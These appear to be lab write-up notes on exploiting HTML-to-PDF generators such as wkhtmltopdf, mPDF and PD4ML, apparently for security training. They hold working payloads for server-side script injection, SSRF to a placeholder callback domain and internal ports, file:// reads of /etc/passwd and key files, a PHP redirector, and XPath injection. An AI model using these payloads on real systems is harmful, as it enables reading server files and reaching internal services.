Exploitation

All techniques assume user-controlled HTML is fed into the PDF generator.

1) JavaScript Code Execution (Server-Side XSS)

Test HTML rendering, then JavaScript execution:

<b>bold-test</b>
<script>document.write('XSS-OK')</script>

Leak server file path via window.location:

<script>document.write(window.location)</script>

Outputs often show file:///.../tmp_wkhtmlto_pdf_XXXX.html revealing server paths.

2) Server-Side Request Forgery (SSRF)

Force outbound requests by loading external resources:

<img src="http://<your-oast-domain>/ssrf-img"/>
<link rel="stylesheet" href="http://<your-oast-domain>/ssrf-css">
<iframe src="http://<your-oast-domain>/ssrf-iframe"></iframe>

If iframe responses render in the PDF (non-blind SSRF), you can read internal endpoints:

<iframe src="http://127.0.0.1:8080/api/users" width="800" height="500"></iframe>

3) Local File Inclusion (LFI)

With JavaScript

<script>
  function wrap(s){let out='';while(s.length){out+=s.slice(0,100)+'\n';s=s.slice(100);}return out}
  const x=new XMLHttpRequest();
  x.onload=()=>document.write(wrap(btoa(x.responseText)));
  x.open('GET','file:///etc/passwd');
  x.send();
</script>

Without JavaScript

Direct tags (may be blocked):

<iframe src="file:///etc/passwd" width="800" height="500"></iframe>
<object data="file:///etc/passwd" width="800" height="500"></object>
<portal src="file:///etc/passwd" width="800" height="500"></portal>

Redirect-based LFI (if file:// blocked but redirects followed):

Server-side redirector.php:

<?php header('Location: file://' . $_GET['url']); ?>

Payload:

<iframe src="http://<your-server>/redirector.php?url=%2fetc%2fpasswd" width="800" height="500"></iframe>

4) Annotations / Attachments

Leverage library-specific features to attach local files.

  • mPDF (older versions or enabled setting):

<annotation file="/etc/passwd" content="/etc/passwd" icon="Graph" title="LFI" />
  • PD4ML:

<pd4ml:attachment src="/etc/passwd" description="LFI" icon="Paperclip"/>

Consult documentation for the target library and version (see metadata identification).

Notes

  • Always sanitize and encode when testing in real apps; proof in controlled labs.

  • Outbound network, file://, and JS execution are all configuration-dependent.

  • For large/binary file exfil via JS, prefer base64 with line wrapping.

Question 1 (lab walkthrough)

Goal: access an internal web app and exfiltrate the flag via PDF generator.

  1. Add a new note; test HTML injection using <b>test</b>.

  2. Only the Note body renders HTML → injection confirmed.

  3. Enumerate internal ports (Apache) via LFI using JS:

<script>
  const x=new XMLHttpRequest();
  x.onload=()=>document.write(this.responseText);
  x.open('GET','file:///etc/apache2/ports.conf');
  x.send();
</script>
  • Discover internal app on port 8000.

  1. Interact with internal app (non-blind SSRF via iframe):

<iframe src="http://127.0.0.1:8000/" width="800" height="500"></iframe>
  • Endpoints list shows /users.

  1. Probe /users to find key locations:

<iframe src="http://127.0.0.1:8000/users" width="800" height="500"></iframe>
  • admin key path: /users/adminkey.txt.

  1. Exfiltrate key via Server-Side XSS + file:// read:

<script>
  const x=new XMLHttpRequest();
  x.onload=()=>document.write(this.responseText);
  x.open('GET','file:///users/adminkey.txt');
  x.send();
</script>

Answer: {hidden}

Obtain the flag (skills assessment)

  1. Visit root page, note PDF invoice generation and hint about an internal orders app.

  2. Test fields for server-side execution:

    • Comment sanitized; try title via Burp.

  • JS probe (in title):

<script>document.write(window.location)</script>
  1. Enumerate internal ports via Apache config (in title field):

<script>
  const x=new XMLHttpRequest();
  x.onload=()=>document.write(this.responseText);
  x.open('GET','file:///etc/apache2/ports.conf');
  x.send();
</script>
  1. SSRF to internal web app (port 8000) using iframe (in title):

<iframe src="http://127.0.0.1:8000/" width="800" height="500"></iframe>
  • The internal app exposes endpoints and an XML-backed / with q GET param.

  1. Exfiltrate flag via XPath injection (iframe in title):

  • Using contains on substring:

<iframe src="http://127.0.0.1:8000/?q=INVALID or contains(.,'HTB')" width="800" height="500"></iframe>
  • Alternative substring:

<iframe src="http://127.0.0.1:8000/?q=INVALID or contains(.,'Flag')" width="800" height="500"></iframe>
  • Or position-based selection:

<iframe src="http://127.0.0.1:8000/?q=INVALID or position()=7" width="800" height="500"></iframe>

Answer: {hidden}

Last updated